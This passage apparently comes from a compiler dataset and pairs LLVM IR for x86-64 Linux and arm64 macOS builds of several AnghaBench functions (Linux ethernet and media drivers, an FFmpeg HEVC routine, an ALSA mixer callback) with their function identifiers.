call i64 @field_valid(ptr noundef %0, i32 noundef %35) #2 %37 = icmp eq i64 %36, 0 br i1 %37, label %45, label %38 38: ; preds = %34 %39 = load i32, ptr %0, align 4, !tbaa !10 %40 = load i32, ptr @U, align 4, !tbaa !6 %41 = tail call i64 @field_value(ptr noundef nonnull %0, i32 noundef %40) #2 %42 = icmp eq i64 %41, 0 %43 = select i1 %42, ptr @.str.3, ptr @.str.9 %44 = tail call i32 @substitute(i32 noundef %39, ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.1, ptr noundef nonnull %43) #2 br label %45 45: ; preds = %38, %34 ret void } declare i64 @field_valid(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @substitute(i32 noundef, ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 declare i64 @field_value(ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !7, i64 0} !11 = !{!"TYPE_5__", !7, i64 0}
radare2_libr_asm_arch_tms320_extr_tms320_dasm.c_decode_bits
; ModuleID = 'AnghaBench/linux/drivers/net/ethernet/renesas/extr_ravb_main.c_ravb_read_mac_address.c' source_filename = "AnghaBench/linux/drivers/net/ethernet/renesas/extr_ravb_main.c_ravb_read_mac_address.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @MAHR = dso_local local_unnamed_addr global i32 0, align 4 @MALR = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @ravb_read_mac_address], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @ravb_read_mac_address(ptr noundef %0, ptr noundef %1) #0 { %3 = tail call i32 @IS_ERR(ptr noundef %1) #2 %4 = icmp eq i32 %3, 0 br i1 %4, label %5, label %8 5: ; preds = %2 %6 = load ptr, ptr %0, align 8, !tbaa !5 %7 = tail call i32 @ether_addr_copy(ptr noundef %6, ptr noundef %1) #2 br label %28 8: ; preds = %2 %9 = load i32, ptr @MAHR, align 4, !tbaa !10 %10 = tail call i32 @ravb_read(ptr noundef %0, i32 noundef %9) #2 %11 = load i32, ptr @MALR, align 4, !tbaa !10 %12 = tail call i32 @ravb_read(ptr noundef %0, i32 noundef %11) #2 %13 = lshr i32 %10, 24 %14 = load ptr, ptr %0, align 8, !tbaa !5 store i32 %13, ptr %14, align 4, !tbaa !10 %15 = lshr i32 %10, 16 %16 = and i32 %15, 255 %17 = getelementptr inbounds i32, ptr %14, i64 1 store i32 %16, ptr %17, align 4, !tbaa !10 %18 = lshr i32 %10, 8 %19 = and i32 %18, 255 %20 = getelementptr inbounds i32, ptr %14, i64 2 store i32 %19, ptr %20, align 4, !tbaa !10 %21 = and i32 %10, 255 %22 = getelementptr inbounds i32, ptr %14, i64 3 store i32 %21, ptr %22, align 4, !tbaa !10 %23 = lshr i32 %12, 8 %24 = and i32 %23, 255 %25 = getelementptr inbounds i32, ptr %14, i64 4 store i32 %24, ptr %25, align 4, !tbaa !10 %26 = and i32 %12, 255 %27 = getelementptr inbounds i32, ptr %14, i64 5 store i32 %26, ptr %27, align 4, !tbaa !10 br label %28 28: ; preds = %8, %5 ret void } declare i32 @IS_ERR(ptr noundef) local_unnamed_addr #1 declare i32 @ether_addr_copy(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @ravb_read(ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"net_device", !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"int", !8, i64 0}
; ModuleID = 'AnghaBench/linux/drivers/net/ethernet/renesas/extr_ravb_main.c_ravb_read_mac_address.c' source_filename = "AnghaBench/linux/drivers/net/ethernet/renesas/extr_ravb_main.c_ravb_read_mac_address.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @MAHR = common local_unnamed_addr global i32 0, align 4 @MALR = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @ravb_read_mac_address], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @ravb_read_mac_address(ptr noundef %0, ptr noundef %1) #0 { %3 = tail call i32 @IS_ERR(ptr noundef %1) #2 %4 = icmp eq i32 %3, 0 br i1 %4, label %5, label %8 5: ; preds = %2 %6 = load ptr, ptr %0, align 8, !tbaa !6 %7 = tail call i32 @ether_addr_copy(ptr noundef %6, ptr noundef %1) #2 br label %27 8: ; preds = %2 %9 = load i32, ptr @MAHR, align 4, !tbaa !11 %10 = tail call i32 @ravb_read(ptr noundef %0, i32 noundef %9) #2 %11 = load i32, ptr @MALR, align 4, !tbaa !11 %12 = tail call i32 @ravb_read(ptr noundef %0, i32 noundef %11) #2 %13 = lshr i32 %10, 24 %14 = load ptr, ptr %0, align 8, !tbaa !6 store i32 %13, ptr %14, align 4, !tbaa !11 %15 = getelementptr inbounds i8, ptr %14, i64 4 %16 = insertelement <2 x i32> poison, i32 %10, i64 0 %17 = shufflevector <2 x i32> %16, <2 x i32> poison, <2 x i32> zeroinitializer %18 = lshr <2 x i32> %17, <i32 16, i32 8> %19 = and <2 x i32> %18, <i32 255, i32 255> store <2 x i32> %19, ptr %15, align 4, !tbaa !11 %20 = and i32 %10, 255 %21 = getelementptr inbounds i8, ptr %14, i64 12 store i32 %20, ptr %21, align 4, !tbaa !11 %22 = lshr i32 %12, 8 %23 = and i32 %22, 255 %24 = getelementptr inbounds i8, ptr %14, i64 16 store i32 %23, ptr %24, align 4, !tbaa !11 %25 = and i32 %12, 255 %26 = getelementptr inbounds i8, ptr %14, i64 20 store i32 %25, ptr %26, align 4, !tbaa !11 br label %27 27: ; preds = %8, %5 ret void } declare i32 @IS_ERR(ptr noundef) local_unnamed_addr #1 declare i32 @ether_addr_copy(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @ravb_read(ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"net_device", !8, i64 0} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!12, !12, i64 0} !12 = !{!"int", !9, i64 0}
linux_drivers_net_ethernet_renesas_extr_ravb_main.c_ravb_read_mac_address
; ModuleID = 'AnghaBench/linux/drivers/media/platform/cadence/extr_cdns-csi2tx.c_csi2tx_dphy_setup.c' source_filename = "AnghaBench/linux/drivers/media/platform/cadence/extr_cdns-csi2tx.c_csi2tx_dphy_setup.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.csi2tx_priv = type { i32, i64, ptr } @CSI2TX_DPHY_CFG_CLK_RESET = dso_local local_unnamed_addr global i32 0, align 4 @CSI2TX_DPHY_CFG_MODE_LPDT = dso_local local_unnamed_addr global i32 0, align 4 @CSI2TX_DPHY_CFG_REG = dso_local local_unnamed_addr global i64 0, align 8 @llvm.compiler.used = appending global [1 x ptr] [ptr @csi2tx_dphy_setup], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @csi2tx_dphy_setup(ptr noundef %0) #0 { %2 = tail call i32 @csi2tx_dphy_set_wakeup(ptr noundef %0) #2 %3 = load i32, ptr @CSI2TX_DPHY_CFG_CLK_RESET, align 4, !tbaa !5 %4 = load i32, ptr @CSI2TX_DPHY_CFG_MODE_LPDT, align 4, !tbaa !5 %5 = or i32 %4, %3 %6 = load i32, ptr %0, align 8, !tbaa !9 %7 = icmp eq i32 %6, 0 br i1 %7, label %23, label %8 8: ; preds = %1 %9 = getelementptr inbounds %struct.csi2tx_priv, ptr %0, i64 0, i32 2 br label %10 10: ; preds = %8, %10 %11 = phi i64 [ 0, %8 ], [ %19, %10 ] %12 = phi i32 [ %5, %8 ], [ %18, %10 ] %13 = load ptr, ptr %9, align 8, !tbaa !13 %14 = getelementptr inbounds i64, ptr %13, i64 %11 %15 = load i64, ptr %14, align 8, !tbaa !14 %16 = add nsw i64 %15, -1 %17 = tail call i32 @CSI2TX_DPHY_CFG_LANE_RESET(i64 noundef %16) #2 %18 = or i32 %17, %12 %19 = add nuw nsw i64 %11, 1 %20 = load i32, ptr %0, align 8, !tbaa !9 %21 = zext i32 %20 to i64 %22 = icmp ult i64 %19, %21 br i1 %22, label %10, label %23, !llvm.loop !15 23: ; preds = %10, %1 %24 = phi i32 [ %5, %1 ], [ %18, %10 ] %25 = getelementptr inbounds %struct.csi2tx_priv, ptr %0, i64 0, i32 1 %26 = load i64, ptr %25, align 8, !tbaa !17 %27 = load i64, ptr @CSI2TX_DPHY_CFG_REG, align 8, !tbaa !14 %28 = add nsw i64 %27, %26 %29 = tail call i32 @writel(i32 noundef %24, i64 noundef %28) #2 %30 = tail call i32 @csi2tx_dphy_init_finish(ptr noundef nonnull %0, i32 noundef %24) #2 ret void } declare i32 @csi2tx_dphy_set_wakeup(ptr noundef) local_unnamed_addr #1 declare i32 @CSI2TX_DPHY_CFG_LANE_RESET(i64 noundef) local_unnamed_addr #1 declare i32 @writel(i32 noundef, i64 noundef) local_unnamed_addr #1 declare i32 @csi2tx_dphy_init_finish(ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !6, i64 0} !10 = !{!"csi2tx_priv", !6, i64 0, !11, i64 8, !12, i64 16} !11 = !{!"long", !7, i64 0} !12 = !{!"any pointer", !7, i64 0} !13 = !{!10, !12, i64 16} !14 = !{!11, !11, i64 0} !15 = distinct !{!15, !16} !16 = !{!"llvm.loop.mustprogress"} !17 = !{!10, !11, i64 8}
; ModuleID = 'AnghaBench/linux/drivers/media/platform/cadence/extr_cdns-csi2tx.c_csi2tx_dphy_setup.c' source_filename = "AnghaBench/linux/drivers/media/platform/cadence/extr_cdns-csi2tx.c_csi2tx_dphy_setup.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @CSI2TX_DPHY_CFG_CLK_RESET = common local_unnamed_addr global i32 0, align 4 @CSI2TX_DPHY_CFG_MODE_LPDT = common local_unnamed_addr global i32 0, align 4 @CSI2TX_DPHY_CFG_REG = common local_unnamed_addr global i64 0, align 8 @llvm.used = appending global [1 x ptr] [ptr @csi2tx_dphy_setup], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @csi2tx_dphy_setup(ptr noundef %0) #0 { %2 = tail call i32 @csi2tx_dphy_set_wakeup(ptr noundef %0) #2 %3 = load i32, ptr @CSI2TX_DPHY_CFG_CLK_RESET, align 4, !tbaa !6 %4 = load i32, ptr @CSI2TX_DPHY_CFG_MODE_LPDT, align 4, !tbaa !6 %5 = or i32 %4, %3 %6 = load i32, ptr %0, align 8, !tbaa !10 %7 = icmp eq i32 %6, 0 br i1 %7, label %23, label %8 8: ; preds = %1 %9 = getelementptr inbounds i8, ptr %0, i64 16 br label %10 10: ; preds = %8, %10 %11 = phi i64 [ 0, %8 ], [ %19, %10 ] %12 = phi i32 [ %5, %8 ], [ %18, %10 ] %13 = load ptr, ptr %9, align 8, !tbaa !14 %14 = getelementptr inbounds i64, ptr %13, i64 %11 %15 = load i64, ptr %14, align 8, !tbaa !15 %16 = add nsw i64 %15, -1 %17 = tail call i32 @CSI2TX_DPHY_CFG_LANE_RESET(i64 noundef %16) #2 %18 = or i32 %17, %12 %19 = add nuw nsw i64 %11, 1 %20 = load i32, ptr %0, align 8, !tbaa !10 %21 = zext i32 %20 to i64 %22 = icmp ult i64 %19, %21 br i1 %22, label %10, label %23, !llvm.loop !16 23: ; preds = %10, %1 %24 = phi i32 [ %5, %1 ], [ %18, %10 ] %25 = getelementptr inbounds i8, ptr %0, i64 8 %26 = load i64, ptr %25, align 8, !tbaa !18 %27 = load i64, ptr @CSI2TX_DPHY_CFG_REG, align 8, !tbaa !15 %28 = add nsw i64 %27, %26 %29 = tail call i32 @writel(i32 noundef %24, i64 noundef %28) #2 %30 = tail call i32 @csi2tx_dphy_init_finish(ptr noundef nonnull %0, i32 noundef %24) #2 ret void } declare i32 @csi2tx_dphy_set_wakeup(ptr noundef) local_unnamed_addr #1 declare i32 @CSI2TX_DPHY_CFG_LANE_RESET(i64 noundef) local_unnamed_addr #1 declare i32 @writel(i32 noundef, i64 noundef) local_unnamed_addr #1 declare i32 @csi2tx_dphy_init_finish(ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !7, i64 0} !11 = !{!"csi2tx_priv", !7, i64 0, !12, i64 8, !13, i64 16} !12 = !{!"long", !8, i64 0} !13 = !{!"any pointer", !8, i64 0} !14 = !{!11, !13, i64 16} !15 = !{!12, !12, i64 0} !16 = distinct !{!16, !17} !17 = !{!"llvm.loop.mustprogress"} !18 = !{!11, !12, i64 8}
linux_drivers_media_platform_cadence_extr_cdns-csi2tx.c_csi2tx_dphy_setup
; ModuleID = 'AnghaBench/FFmpeg/libavcodec/mips/extr_hevc_mc_uniw_msa.c_hevc_hv_uniwgt_8t_24w_msa.c' source_filename = "AnghaBench/FFmpeg/libavcodec/mips/extr_hevc_mc_uniw_msa.c_hevc_hv_uniwgt_8t_24w_msa.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @hevc_hv_uniwgt_8t_24w_msa], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @hevc_hv_uniwgt_8t_24w_msa(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3, ptr noundef %4, ptr noundef %5, i32 noundef %6, i32 noundef %7, i32 noundef %8, i32 noundef %9) #0 { %11 = tail call i32 @hevc_hv_uniwgt_8t_8multx2mult_msa(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3, ptr noundef %4, ptr noundef %5, i32 noundef %6, i32 noundef %7, i32 noundef %8, i32 noundef %9, i32 noundef 24) #2 ret void } declare i32 @hevc_hv_uniwgt_8t_8multx2mult_msa(ptr noundef, i32 noundef, ptr noundef, i32 noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/FFmpeg/libavcodec/mips/extr_hevc_mc_uniw_msa.c_hevc_hv_uniwgt_8t_24w_msa.c' source_filename = "AnghaBench/FFmpeg/libavcodec/mips/extr_hevc_mc_uniw_msa.c_hevc_hv_uniwgt_8t_24w_msa.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @hevc_hv_uniwgt_8t_24w_msa], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @hevc_hv_uniwgt_8t_24w_msa(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3, ptr noundef %4, ptr noundef %5, i32 noundef %6, i32 noundef %7, i32 noundef %8, i32 noundef %9) #0 { %11 = tail call i32 @hevc_hv_uniwgt_8t_8multx2mult_msa(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3, ptr noundef %4, ptr noundef %5, i32 noundef %6, i32 noundef %7, i32 noundef %8, i32 noundef %9, i32 noundef 24) #2 ret void } declare i32 @hevc_hv_uniwgt_8t_8multx2mult_msa(ptr noundef, i32 noundef, ptr noundef, i32 noundef, ptr noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
FFmpeg_libavcodec_mips_extr_hevc_mc_uniw_msa.c_hevc_hv_uniwgt_8t_24w_msa
; ModuleID = 'AnghaBench/fastsocket/kernel/sound/pci/oxygen/extr_oxygen_mixer.c_monitor_volume_info.c' source_filename = "AnghaBench/fastsocket/kernel/sound/pci/oxygen/extr_oxygen_mixer.c_monitor_volume_info.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.snd_ctl_elem_info = type { i32, %struct.TYPE_4__, i32 } %struct.TYPE_4__ = type { %struct.TYPE_3__ } %struct.TYPE_3__ = type { i32, i64 } @SNDRV_CTL_ELEM_TYPE_INTEGER = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @monitor_volume_info], section "llvm.metadata" ; Function Attrs: mustprogress nofree norecurse nosync nounwind willreturn memory(read, argmem: write, inaccessiblemem: none) uwtable define internal noundef i32 @monitor_volume_info(ptr nocapture readnone %0, ptr nocapture noundef writeonly %1) #0 { %3 = load i32, ptr @SNDRV_CTL_ELEM_TYPE_INTEGER, align 4, !tbaa !5 %4 = getelementptr inbounds %struct.snd_ctl_elem_info, ptr %1, i64 0, i32 2 store i32 %3, ptr %4, align 8, !tbaa !9 store i32 1, ptr %1, align 8, !tbaa !14 %5 = getelementptr inbounds %struct.snd_ctl_elem_info, ptr %1, i64 0, i32 1 %6 = getelementptr inbounds %struct.snd_ctl_elem_info, ptr %1, i64 0, i32 1, i32 0, i32 1 store i64 0, ptr %6, align 8, !tbaa !15 store i32 1, ptr %5, align 8, !tbaa !16 ret i32 0 } attributes #0 = { mustprogress nofree norecurse nosync nounwind willreturn memory(read, argmem: write, inaccessiblemem: none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !6, i64 24} !10 = !{!"snd_ctl_elem_info", !6, i64 0, !11, i64 8, !6, i64 24} !11 = !{!"TYPE_4__", !12, i64 0} !12 = !{!"TYPE_3__", !6, i64 0, !13, i64 8} !13 = !{!"long", !7, i64 0} !14 = !{!10, !6, i64 0} !15 = !{!10, !13, i64 16} !16 = !{!10, !6, i64 8}
; ModuleID = 'AnghaBench/fastsocket/kernel/sound/pci/oxygen/extr_oxygen_mixer.c_monitor_volume_info.c' source_filename = "AnghaBench/fastsocket/kernel/sound/pci/oxygen/extr_oxygen_mixer.c_monitor_volume_info.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @SNDRV_CTL_ELEM_TYPE_INTEGER = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @monitor_volume_info], section "llvm.metadata" ; Function Attrs: mustprogress nofree norecurse nosync nounwind ssp willreturn memory(read, argmem: write, inaccessiblemem: none) uwtable(sync) define internal noundef i32 @monitor_volume_info(ptr nocapture readnone %0, ptr nocapture noundef writeonly %1) #0 { %3 = load i32, ptr @SNDRV_CTL_ELEM_TYPE_INTEGER, align 4, !tbaa !6 %4 = getelementptr inbounds i8, ptr %1, i64 24 store i32 %3, ptr %4, align 8, !tbaa !10 store i32 1, ptr %1, align 8, !tbaa !15 %5 = getelementptr inbounds i8, ptr %1, i64 8 %6 = getelementptr inbounds i8, ptr %1, i64 16 store i64 0, ptr %6, align 8, !tbaa !16 store i32 1, ptr %5, align 8, !tbaa !17 ret i32 0 } attributes #0 = { mustprogress nofree norecurse nosync nounwind ssp willreturn memory(read, argmem: write, inaccessiblemem: none) uwtable(sync) "frame-pointer"="non-leaf" 